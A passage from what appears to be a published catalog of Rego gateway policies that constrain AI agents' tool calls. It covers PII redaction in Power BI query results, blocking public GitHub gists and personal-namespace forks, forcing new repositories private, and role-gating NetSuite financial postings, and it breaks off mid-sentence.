]\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") # Both classes in one pass over a string. Each class is matched independently # — no pairing required. redact_text(t) := redact_phone(redact_email(t)) # Helper: the inner `text` string of an MCP structured content block # ({"type":"text","text":"..."}); undefined for anything else. block_text(b) := t if { is_object(b) t := object.get(b, "text", null) is_string(t) } # Plain-string content blocks: redact in place. redact_block(b) := redact_text(b) if { is_string(b) } # MCP-standard structured text content blocks {"type":"text","text":"..."}: # redact the inner `text` string and preserve every other key (type, # annotations). Without this branch, page/meeting-note body delivered as # content-block OBJECTS (the canonical MCP wire shape) would slip past a # string-only redactor untouched — the exact PII this policy targets, leaked # verbatim. redact_block(b) := object.union(b, {"text": redact_text(bt)}) if { not is_string(b) bt := block_text(b) } # Any other block — an object with no string `text` field, or a non-string / # non-object value — passes through unmodified. The policy makes no claim over # arbitrary structured data whose PII lives under other keys. redact_block(b) := b if { not is_string(b) not block_text(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_read_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Power BI: Redact PII in Query Results URL: https://www.intentbasedpolicy.com/policies/power-bi/redact-pii-dax-results App(s): power-bi | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: power_bi.egress.redact_pii_dax_results | Published: 2026-07-12 | Tags: power-bi, redact-pii, pii, dlp, dax, redaction, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/power-bi/redact-pii-dax-results/policy.md # power-bi / redact-pii-dax-results **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `power_bi.egress.redact_pii_dax_results` ## What it does Scans the content returned by Power BI's result-returning tools and rewrites high-confidence PII shapes to fixed, non-recoverable redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | Email address | `local@domain.tld` shape | `[REDACTED-EMAIL]` | | US SSN | hyphenated `\d{3}-\d{2}-\d{4}` form | `[REDACTED-SSN]` | | Payment card (PAN) | 16-digit 4×4 groups, **Luhn-validated** in Rego | `[REDACTED-CARD]` | Matches are replaced in place over the serialized result content, so the row structure the agent sees stays intact — only the identifier substrings change. The policy is transform-only: it never denies a call. Responses with no matches and all out-of-scope tools pass through byte-identical. Every response field is read via `object.get`, so a missing or oddly-shaped payload is never an error — it simply passes through. ### Why this matters for Power BI Semantic models front warehouse/lakehouse tables that hold customer PII, and the DAX query tools return raw rows: a bare `EVALUATE 'Customers'` dumps an entire table. DAX is read-only, so the risk is wholesale read-back exfiltration, not corruption — the response path is the last enforcement point against it. This policy is a **backstop for semantic models that lack column-level masking**; it does not replace model-side RLS or Object-Level Security. It also covers `GetReportMetadata`, whose textbox content can surface hidden columns/measures and embedded literal values. ### Caller exemption (fail-closed, off by default) The policy ships a data-steward exemption branch: callers whose IdP `groups` claim contains `full-pii` (a placeholder name — see Known limitations) receive the **full, unredacted** response. The check reads the claims via `object.get(input.subject, "claims", {})` chains, so a missing subject, missing claims, or missing `groups` claim means the caller is **not** exempt and the transform applies. Because most tenants have not wired up a `full-pii` group, **no caller is exempt by default** — the grant fails closed, and the safe failure mode is over-redaction, never disclosure. Remove the exemption rules entirely if you want redaction with no carve-out. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in DAX query results as they leave the gateway toward the agent; **C1.1** — supports the identification and protection of confidential information on the read path. - **PCI DSS 3.4.1** — supports masking the primary account number (PAN) on display: Luhn-validated 16-digit card numbers in returned DAX rows are rewritten to `[REDACTED-CARD]` before the response reaches the agent, so a CHD value that a semantic model surfaces from the warehouse it fronts is not disclosed in full on the agent MCP path. - **GDPR Art. 9** — reduces special-category exposure on the MCP path, where direct identifiers co-occur with health/HR columns in the warehouse tables a semantic model imports or DirectQueries. **CPRA §1798.121** — supports the consumer's right to limit the use and disclosure of sensitive personal information (SSN, financial account numbers) on the agent channel. ## Why egress The PII already lives in the model's underlying tables — there is nothing to block at ingress, and denying `ExecuteQuery`/`execute_dax` outright would make the agent useless for analytics. The leak happens when result rows are returned to the MCP client, so the response path is the only place to catch it while keeping the results useful. This composes with ingress guards (whole-table dump guard, model-ID fencing, RLS-bypass session block) that keep dangerous reads off the path in the first place; this policy handles what a permitted read returns. ## Tool name matching Applies on the output path (`input.mode == "output"`) to the result-returning Power BI tools, matched case-insensitively **by lowercased suffix**. The tool name is read from `input.resource.name`, with `input.tool_metadata.name` as a fallback. Suffix matching keeps the policy portable across the gateway server-name prefix (which is not standardized) and across the three incompatible Power BI naming conventions: - `executequery`, `valuesearch` — the remote official server (PascalCase `ExecuteQuery` / `ValueSearch`; `ValueSearch` searches real data values). - `execute_dax`, `desktop_execute_dax` — the community server (sulaiman013/powerbi-mcp) cloud and desktop DAX tools. `desktop_execute_dax` also ends with `execute_dax`; listing it explicitly is harmless. - `dax_query_operations` — the official modeling server's read query multiplexer. - `getreportmetadata` — the remote server's report-metadata tool, whose textbox content can surface hidden columns/measures and embedded values. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend `result_tool_suffixes` for any other content-returning tools your deployment exposes. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each **string** block. Because the redaction regexes run over the serialized block text rather than a parsed row model, the transform is **shape-agnostic**: it does not matter whether the server nests rows under `results`, `rows`, `data`, or some other envelope — the identifier substrings are caught wherever they appear in the serialized string. This is deliberate: the Power BI preview servers are marked "schemas may change" and the exact result envelope is unverified (see Known limitations), so the transform walks string values defensively instead of assuming a fixed key. Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. If a preview server returns `text` as a **bare string** rather than a content-block array (off-spec, but the servers warn their schemas may change), that single string is redacted too, so an unexpected non-array envelope does not fail open into an unredacted PII leak. Payload shapes that are neither a string nor an array of strings (a number, an object, or an array whose elements are themselves objects/arrays) are still passed through untouched — see Known limitations. ## Examples ### Redacted (in-scope tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "powerbi-mcp-ExecuteQuery", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["analytics"] } }, "payload": { "name": "powerbi-mcp-ExecuteQuery", "text": ["{\"results\":[{\"email\":\"jane@acme.com\",\"ssn\":\"123-45-6789\",\"card\":\"4111 1111 1111 1111\"}]}"] } } } ``` `allow = true`, with `transform.transformed_payload.text` holding the block rewritten so `email`, `ssn`, and `card` become their respective tokens. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "powerbi-mcp-execute_dax", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["full-pii"] } }, "payload": { "name": "powerbi-mcp-execute_dax", "text": ["{\"rows\":[{\"ssn\":\"123-45-6789\"}]}"] } } } ``` `allow = true`, no `transform` — the `full-pii` data-steward group receives raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same egress pipeline. Recommended companions for `apps/power-bi`: - **A whole-table dump guard (ingress)** on `ExecuteQuery` / `execute_dax` / `dax_query_operations` that denies bare `EVALUATE 'Table'` DAX, so redaction is a backstop rather than the only defense. - **A model-ID fencing ingress policy** that keeps regulated semantic models off the agent path entirely. - **A block-RLS-bypass-session ingress policy** that denies `ExecuteQuery` / `ValueSearch` when the session is service-principal-authenticated (the remote server does not enforce RLS under service-principal auth). - **A dedicated PF-01 `mask-pan-egress` policy** if your tenant needs full cardholder-data coverage — this policy's card detection is 16-digit-4×4 + Luhn only (see Known limitations). ## Known limitations - **Result envelope is unverified.** The Power BI query servers are in public preview and their docs warn that tool schemas may change; the exact result shape (rows under `results` / `rows` / `data`, or another envelope) is **not verified**. The transform sidesteps this by running detection over the serialized block text rather than a parsed row model, so it catches identifiers regardless of the envelope — but it also means detection is best-effort regex, not a structured field walk. - **Regex redaction over serialized result content is best-effort.** Values split across columns (e.g. an SSN stored as three separate fields), base64- or otherwise-encoded fields, and non-standard national-ID formats will not match. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Redaction masks the response to the caller only — it does not alter data at rest.** The rows in the warehouse/model are unchanged; the mask exists solely in what the gateway returns to the agent. This is a disclosure-minimisation control on the read path, not de-identification of the source. - **Card detection is heuristic and display-side.** A card-shaped number is redacted only when it is 16 digits in contiguous or single-`[- ]`-separated 4×4 groups **and** passes the Luhn check. Luhn-valid cards that are not 16-digit-4×4 (15-digit Amex, 14-digit Diners, 13/19-digit ranges) and 16-digit cards grouped with dots or slashes pass through. For full cardholder-data coverage pair this with a dedicated PF-01 `mask-pan-egress` policy; do not rely on this policy alone for PAN masking. - **Non-string content blocks pass through unmodified.** Redaction applies to string entries of `input.payload.text` (including serialized-JSON strings) and to a bare-string `text` value. It does **not** descend into structured blocks: an array element that is itself a JSON object/array (e.g. a content block `{"ssn":"123-45-6789"}` returned as a parsed object rather than a serialized string) is emitted unchanged, so PII carried in a structured non-string block leaks. This is the cost of the deliberate string-walking design (the result envelope is unverified); if your gateway emits structured non-string blocks, verify their shape with the dump-input technique and add a structured-field walk or pair this with a schema-specific redactor. - **Group names are placeholders — replace `full-pii` with your IdP's group name at import time.** The exemption expects the `groups` claim as an array of strings (a single bare string is also handled); if your IdP emits roles under a namespaced claim, adjust `caller_groups`. On Auth0 tenants without RBAC/permissions configured, no `groups` claim reaches the policy, so the exemption never fires — the transform applies to everyone until the claim is wired up (fail-closed: over-redaction, not disclosure). - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package power_bi.egress.redact_pii_dax_results # Transform-only egress policy: rewrites high-confidence PII in Power BI # result-returning tool responses to fixed, non-recoverable tokens before the # response reaches the agent. Never denies. Semantic models front warehouse # tables holding customer PII and DAX tools return raw rows, so egress is the # last enforcement point against read-back exfiltration; this policy is a # backstop for models lacking column-level masking. Callers in the placeholder # `full-pii` IdP group receive the full unredacted response; the group check # fails closed, so a caller with missing claims gets over-redaction, never # disclosure. default allow := true # ----------------------------------------------------------------------------- # Scope: Power BI result-returning tools across the three servers in the # landscape inventory. The gateway prefixes tool names with the configured MCP # server name (not standardized), so match by lowercased suffix. The remote # server uses PascalCase verbs, the modeling server uses `_operations` # multiplexers, and the community server uses snake_case with surface prefixes — # suffix matching normalizes all three. # ----------------------------------------------------------------------------- result_tool_suffixes := { "executequery", # remote official server — arbitrary DAX against a model "valuesearch", # remote official server — searches real data values "execute_dax", # community server (cloud); also a suffix of desktop_execute_dax "desktop_execute_dax", # community server (desktop) "dax_query_operations", # official modeling server — read query multiplexer "getreportmetadata", # remote server — textbox content, hidden columns/measures } is_result_tool if { input.mode == "output" some suffix in result_tool_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_result_tool if { # Egress hooks also expose the tool name under tool_metadata.name — check both # so we match regardless of which surface the gateway populates. input.mode == "output" some suffix in result_tool_suffixes endswith(lower(object.get(object.get(input, "tool_metadata", {}), "name", "")), suffix) } # ----------------------------------------------------------------------------- # Data-steward exemption — placeholder IdP group whose members receive the full # response. Replace "full-pii" with your IdP's group name at import time. The # object.get chains mean a missing subject/claims/groups claim is never exempt: # the grant fails closed and the transform applies. Most tenants have no such # group wired up, so by default no caller is exempt. # ----------------------------------------------------------------------------- exempt_groups := {"full-pii"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { # Require an array of strings — a groups claim shaped as an object/number/null # is never exempt, so a malformed claim fails closed (over-redaction, never # disclosure) rather than accidentally matching an object's values. is_array(caller_groups) some g in caller_groups lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # ----------------------------------------------------------------------------- # Email addresses: local part, @, domain, dot, 2+ letter TLD. email_pattern := `[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}` # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # object IDs and raw phone digits, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # 16-digit card-shaped runs in 4x4 groups with optional space/hyphen separators. # Candidates are only redacted after passing the Luhn check below — a matching # shape alone is not enough. card_pattern := `\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b` # ----------------------------------------------------------------------------- # Luhn check — validates card-shaped candidates so invoice/reference numbers that # merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. card_candidates(t) := {c | some c in regex.find_n(card_pattern, t, -1) luhn_valid(digits_only(c)) } # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_emails(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_cards(t) := out if { cands := card_candidates(t) count(cands) > 0 # Candidates contain only digits, spaces, and hyphens, so joining them into an # alternation of literals is regex-safe. literal := concat("|", sort([c | some c in cands])) out := regex.replace(t, literal, "[REDACTED-CARD]") } redact_cards(t) := t if { count(card_candidates(t)) == 0 } # Order: emails first, then SSNs, then Luhn-checked cards. The three patterns are # disjoint (an email contains an "@" that neither numeric pattern matches, and # SSN's 3-2-4 hyphenation cannot occur inside a 4x4 card), so ordering only # guards against incidental overlap. redact_block(b) := redact_cards(redact_ssn(redact_emails(b))) if { is_string(b) } # Non-string content blocks pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — redacts every string block. Emitted only when in scope, the caller # is not exempt, and at least one block actually changed. Otherwise the rule is # undefined and the aggregator skips this policy, returning the response # byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_result_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } # Bare-string `text` fallback. The documented egress shape is a content-block # array, but the Power BI preview servers warn their schemas may change, so a # server that returns `text` as a single serialized string would otherwise fail # open (no array -> no redaction -> PII leaks). Redact the lone string too. This # clause is mutually exclusive with the array clause above: `text` is a string # XOR an array, never both, so the two transform definitions never conflict. transform := { "transformed_payload": object.union(response_payload, {"text": redact_block(text_blocks)}), } if { is_result_tool not is_exempt is_string(text_blocks) redact_block(text_blocks) != text_blocks } ``` ### Prevent Public Exposure of GitHub Repos, Gists & Forks URL: https://www.intentbasedpolicy.com/policies/github/deny-public-exposure-repos App(s): github | Direction: ingress | Bundles: soc2 | Package: github.ingress.deny_public_exposure_repos | Published: 2026-07-12 | Tags: github, deny-public-exposure, anti-exfil, ingress, soc2, finserv-comms, eu-ai-act Source: https://github.com/dtwoai/policy-store/blob/main/apps/github/deny-public-exposure-repos/policy.md # github / deny-public-exposure-repos **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise (with a force-private transform on repo creation) **Package:** `github.ingress.deny_public_exposure_repos` ## What it does Stops the agent from exposing private code to the public across three GitHub write tools, at ingress — before the call reaches the GitHub MCP server, so a blocked publish never happens and a rewritten repo is created private: - **`create_gist` — deny when it would be public.** A gist whose `public` flag is set (`public: true`, or a `"public"` visibility value) is denied. Only an explicitly private/secret gist (`public: false`, `"false"`, `"private"`, or `"secret"`) is allowed; a gist with **no** `public` flag is allowed (GitHub defaults gists to secret). The check **fails closed on ambiguous visibility**: an unrecognised `public` value (e.g. `"yes"`, `1`, `null`, an object) is treated as public and denied. - **`fork_repository` — deny personal-namespace forks.** A fork with no `organization` argument lands in the caller's personal namespace, escaping org controls and copying private code out of the sanctioned boundary. The policy denies `fork_repository` unless `organization` is present and a non-empty string. An absent, empty, or non-string `organization` fails closed and is denied. - **`create_repository` — force `private: true`.** Regardless of the requested `private` value, the policy rewrites the call so the repository is created private — whether the agent set `private: false`, `private: true`, or omitted the field. This is a transform applied on ingress, not a denial: the repo is still created, just never public. All three tools are matched by suffix; **every other call passes through unchanged**. This is a security-hardening, anti-exfiltration control that complements the org-scope fence (`fence-scopes-org-allowlist`) and the secret-hygiene policies. ## Compliance alignment Per the Phase-3 coverage matrix, the `deny-public-exposure` family (PF-27) maps to the following controls on the MCP path. This policy is a boundary / anti-exfiltration deny control, so it belongs to the `soc2` bundle; its FINRA and EU AI Act alignments are cited below as well, though those frameworks have no curated bundle in the current set. - **SOC 2 CC6.6** — supports boundary protection against external exposure by stopping the agent from publishing private code to a public GitHub surface (a public gist, a public repository, or a personal-namespace fork); **CC6.7** — supports the restriction on the movement/removal of confidential information by forcing new repositories private and denying public gists and personal forks, so source code cannot leave the sanctioned org boundary over the agent channel. - **FINRA Rule 2210(b)(1)** (principal pre-approval of retail communications) — supports keeping an agent from *publishing to the public* without human sign-off: a public gist or public repository authored by the agent is an unreviewed public communication, and this policy forces it private or blocks it so a human retains the publish decision. - **EU AI Act Art. 50(4)** (disclosure for AI-generated content made public) — supports the human-review marker on published output by preventing the agent from pushing content to a public GitHub surface (public repo/gist/ personal-namespace fork) on its own. ## Why ingress and not egress Publishing a public gist, creating a public repository, and forking private code into a personal namespace are writes with permanent, externally visible side effects — once the call reaches GitHub the content is public and may already be cloned, cached, or indexed. Egress redaction could only mask the response returned to the agent, not un-publish the code. Ingress denial (and the ingress force-private transform) is the only way to actually prevent the exposure. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `github-mcp-create_gist`), and that prefix is not standardized. The policy therefore matches on the **suffix**, case-insensitively, on both the PARC `resource.name` and the legacy `payload.name` alias (so a call missing one of the two cannot slip past): - `*create_gist` — official server's gist-creation tool. - `*fork_repository` — same name on both the official (`github/github-mcp-server`) and archived (`@modelcontextprotocol/server-github`) servers, so one suffix covers both. - `*create_repository` — same name on both servers. All three names are verified in the GitHub landscape note. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Read from `input.payload.args`: - `create_gist.public` — the gist visibility flag. Handled as boolean (`true`/`false`) or string (`"public"`/`"private"`/`"secret"`/`"false"`), compared after `trim_space` + `lower`. Any present value that is not a recognised private value is treated as public (fail closed). - `fork_repository.organization` — the destination org login. Must be a present, non-empty string for the fork to be allowed. - `create_repository.private` — the requested visibility. Ignored for the decision; the transform sets `private: true` and preserves every other argument (`name`, `description`, `organization`, `autoInit`) via `object.union`. The `create_gist` and `create_repository` argument schemas were **not verified from source** in the landscape pass (only `create_repository`'s field list is documented, and `fork_repository`'s `organization` is documented) — so confirm the live `tools/list` before pinning field names. If your server names the gist visibility field `visibility` rather than `public`, extend the accessor (see Known limitations). ## Examples ### Allowed — secret gist ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-create_gist", "type": "tool" }, "payload": { "name": "github-mcp-create_gist", "args": { "description": "scratch", "public": false, "files": {} } } } } ``` `allow = true`, no reason. ### Denied — public gist ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-create_gist", "type": "tool" }, "payload": { "name": "github-mcp-create_gist", "args": { "description": "leak", "public": true, "files": {} } } } } ``` `allow = false`, reason tells the agent to create a secret gist instead. ### Denied — personal-namespace fork ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-fork_repository", "type": "tool" }, "payload": { "name": "github-mcp-fork_repository", "args": { "owner": "acme-inc", "repo": "billing" } } } } ``` `allow = false`, reason asks for an `organization` inside a sanctioned org. ### Transformed — repo forced private ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-create_repository", "type": "tool" }, "payload": { "name": "github-mcp-create_repository", "args": { "name": "new-service", "private": false, "autoInit": true } } } } ``` `allow = true`; transform rewrites `private` to `true` and preserves `name` and `autoInit` — the repository is created private. ## Composition This policy is single-purpose (three related public-exposure surfaces). Recommended companions (see the GitHub landscape note's candidate list): - **`fence-scopes-org-allowlist`** (PF-23) — fences the `owner` argument to the company org, closing the `push_files` / `create_or_update_file` write-exfil path this policy does not touch. - **`role-gate-writes`** (PF-12) — restrict all write tools to an `engineering` IdP group so non-engineers get read-only GitHub. - An egress **secret-hygiene / IP-redaction** policy on `get_file_contents`, `search_code`, and `pull_request_read` responses. ## Known limitations - **Only the `create_gist`, `fork_repository`, and `create_repository` surfaces are covered.** Other public-exposure paths — pushing to a public repo the OAuth grant can reach, transferring a repo, or toggling an existing repo public via a settings tool — are out of scope. Pair with the org-scope fence and role-gate policies. - **Gist visibility field name is assumed.** The policy inspects the `public` argument. `create_gist`'s exact MCP schema was **not verified from source** in the landscape pass; if your server exposes visibility under a different key (e.g. `visibility`), a public gist could slip through. Confirm with the live `tools/list` and extend the `gist_public_value` accessor. - **`create_repository` transform is top-level only.** It pins the top-level `private` field. If a server nests the repo definition under another key, the nested visibility is not rewritten. The documented official/archived servers take `private` at the top level. - **Malformed non-object `args` on `create_repository` pass through un-rewritten.** `object.union` is undefined on a non-object, so no transform fires; such a call carries no valid repository definition and fails at the GitHub server (documented residual, covered in tests). It cannot create a public repo. - **Suffix matching misses a trailing segment after the tool name.** A tool named e.g. `...create_gist-v2` would not match `create_gist` and would pass through. The gateway only *prepends* the configured server name, so this does not affect the real servers; confirm exact names with dump-input and extend the suffix set if your server differs. - **Fork destination org is presence-checked, not allowlisted.** `fork_repository` is allowed whenever `organization` is any non-empty string. The policy cannot distinguish a sanctioned company org from an attacker-created free org, so a fork into an arbitrary org the caller controls is permitted (covered in tests). The deny reason says "a sanctioned company org" as user guidance, but sanctioning is **not** enforced here. To fence the destination to specific orgs, pair with an org-allowlist policy (PF-23 `fence-scopes-org-allowlist`) or add an allowlist-membership check to `fork_has_org` (`allowed_orgs[lower(trim_space(org))]` against a per-tenant set constant). - **No identity-based exemption.** Every caller is subject to the same controls. If you need a break-glass identity that may create public repos or gists, add an `allow if` branch keyed on `input.subject.claims.groups` with a documented placeholder group name (replace it with your IdP's group name at import time). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package github.ingress.deny_public_exposure_repos # Deny-by-default: a call is permitted only by an explicit allow rule below. # `create_repository` is always allowed (never denied) and force-rewritten to # private by the transform; the gist and fork surfaces deny on public exposure. default allow := false # --- Shared accessors -------------------------------------------------------- # Tool name from the PARC resource.name and the legacy payload.name alias, each # lower-cased. Both are read (matched separately below) so a call that arrives # with one of the two absent cannot slip past the suffix match. resource_name := lower(object.get(object.get(input, "resource", {}), "name", "")) payload_name := lower(object.get(object.get(input, "payload", {}), "name", "")) # Tool arguments; {} when absent so downstream object.get never errors. args := object.get(object.get(input, "payload", {}), "args", {}) # --- Tool matching (suffix, case-insensitive, portable across server prefixes) --- is_create_gist if endswith(resource_name, "create_gist") is_create_gist if endswith(payload_name, "create_gist") is_fork if endswith(resource_name, "fork_repository") is_fork if endswith(payload_name, "fork_repository") is_create_repo if endswith(resource_name, "create_repository") is_create_repo if endswith(payload_name, "create_repository") # --- create_gist: deny public / ambiguous visibility ------------------------- # Recognised private/secret visibility strings. Anything else present is treated # as public (fail closed). recognized_private_strings := {"false", "private", "secret"} # The gist's `public` argument value; undefined when the key is absent (or when # args is not an object). Separated from the presence check because the value # may legitimately be the boolean `false`. gist_public_value := args.public # The `public` key is present (even if its value is `false` or `null`). gist_public_present if { _ = args.public } # The gist is explicitly marked private/secret -> safe, allowed. gist_marked_private if { gist_public_value == false } gist_marked_private if { is_string(gist_public_value) recognized_private_strings[lower(trim_space(gist_public_value))] } # Public exposure: a create_gist whose `public` flag is present but is NOT a # recognised private value. Covers public:true, "public", and any unrecognised # value (fail closed). A create_gist with no `public` flag is not an exposure. gist_public_exposure if { is_create_gist gist_public_present not gist_marked_private } # --- fork_repository: deny personal-namespace forks -------------------------- # The fork targets an organization when `organization` is a present, non-empty # string. Absent, empty, or non-string organization fails closed (denied). fork_has_org if { org := object.get(args, "organization", "") is_string(org) trim_space(org) != "" } fork_personal_namespace if { is_fork not fork_has_org } # --- Allow rules ------------------------------------------------------------- # A call is permitted unless it is a public-gist exposure or a personal-namespace # fork. Expressed as the negation of the two deny conditions (not one allow # branch per governed tool) so a call whose resource.name and payload.name carry # DIFFERENT governed suffixes cannot use a never-denied create_repository arm to # override a gist/fork denial. Non-governed tools and create_repository trip # neither condition and pass through; create_repository is force-rewritten to # private by the transform below. allow if { not gist_public_exposure not fork_personal_namespace } # --- Transform: force create_repository private ------------------------------ # Regardless of the requested `private` value, pin private:true and preserve # every other argument. Guarded on is_object so a malformed non-object args # passes through unmodified (documented residual — it fails at the server). transform := {"transformed_payload": object.union(args, {"private": true})} if { is_create_repo is_object(args) } # --- Deny reasons ------------------------------------------------------------ reasons contains "Creating a public gist is blocked to prevent private code from being exposed publicly. Create a secret gist instead (set public: false), or share the snippet through a repository inside your company org. Contact your InfoSec team if this gist genuinely needs to be public." if { gist_public_exposure } reasons contains "Forking into a personal namespace is blocked because it copies repository content outside your organization's controls. Re-run the fork with an organization set to a sanctioned company org so the fork stays inside the org boundary. Contact your InfoSec team if you need a personal fork for a legitimate reason." if { fork_personal_namespace } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Protect Financial Postings by Role URL: https://www.intentbasedpolicy.com/policies/netsuite/protect-closed-periods App(s): netsuite | Direction: ingress | Bundles: sox | Package: netsuite.ingress.protect_closed_periods | Published: 2026-07-12 | Tags: netsuite, protect-closed-periods, ingress, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/netsuite/protect-closed-periods/policy.md # netsuite / protect-closed-periods **Direction:** ingress (`tool_pre_invoke`) **Default:** deny financial-transaction writes unless the caller is in a finance/controller group; allow everything else **Package:** `netsuite.ingress.protect_closed_periods` ## What it does Denies the NetSuite record-write tools `ns_createRecord` and `ns_updateRecord` when they target a **financial-transaction record type** — `journalentry` (including the `intercompanyjournalentry`, `advintercompanyjournalentry`, and `statisticaljournalentry` variants, which all post to the GL), `vendorbill`, `vendorpayment`, `customerpayment`, `check`, or `creditmemo` — unless the caller carries a `finance` or `controller` group claim in `input.subject.claims.groups`. Every other tool call, and every write to a non-gated record type, passes through unchanged. The `recordType` value is lowercased and whitespace-trimmed before the gated-set lookup, so casing and padding tricks cannot dodge the gate. Posting or altering these records changes the general ledger. In a closed accounting period that is a restatement risk, and separating who may initiate a posting from who may approve it is core segregation-of-duties (SoD) territory. Enforcing the role gate at ingress means an over-broad OAuth role, an agent error, or a prompt-injection attempt can never post or overwrite a financial transaction on behalf of a caller who is not a finance or controller user — the write is blocked before it reaches NetSuite, so it has no ledger side effect. Because MCP tool arguments do **not** expose whether the target accounting period is actually closed, this is a **role-based proxy** for closed-period protection, not a period-state check — see Known limitations. ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519 (anti-destruction/alteration of records)** — supports the prohibition on altering financial records by blocking agent-driven edits and postings of ledger transactions outside the finance/controller roles. - **SOC 2 PI1.5 (integrity of stored records)** — supports processing-integrity by keeping the agent channel from mutating posted financial transactions. - Reinforces the **segregation-of-duties** posture behind **SOX COSO Principle 10** and **SOC 2 CC6.3** (role-based access / least privilege / SoD): the caller's IdP group, not the breadth of their NetSuite role, decides whether a financial posting is permitted over MCP. ## Tool name matching The policy matches the two write tools by suffix on `lower(input.resource.name)`: - `*ns_createrecord` - `*ns_updaterecord` The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `netsuite-mcp-ns_createRecord`), and that prefix is not standardized. Matching on the `ns_*` suffix keeps the policy portable across the official Oracle AI Connector server and the dsvantien community proxy, which expose identical `ns_*` tool names and argument shapes. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape `ns_createRecord` and `ns_updateRecord` take `{ recordType: string, data: string }` (the `data` field is a JSON-encoded string of the record's fields). This policy only needs `recordType`, which it reads with `object.get(, "recordType", "")` and matches **case-insensitively** against the gated set. `recordType` is read from both `input.payload.args` (the key the DTwo gateway schema documents) **and** `input.payload.arguments` (the key the NetSuite landscape note documents). The two containers are inspected **independently, not merged** — the gate fires if *either* container names a gated record type. This keeps the gate working whichever key the gateway populates and, crucially, prevents a decoy value 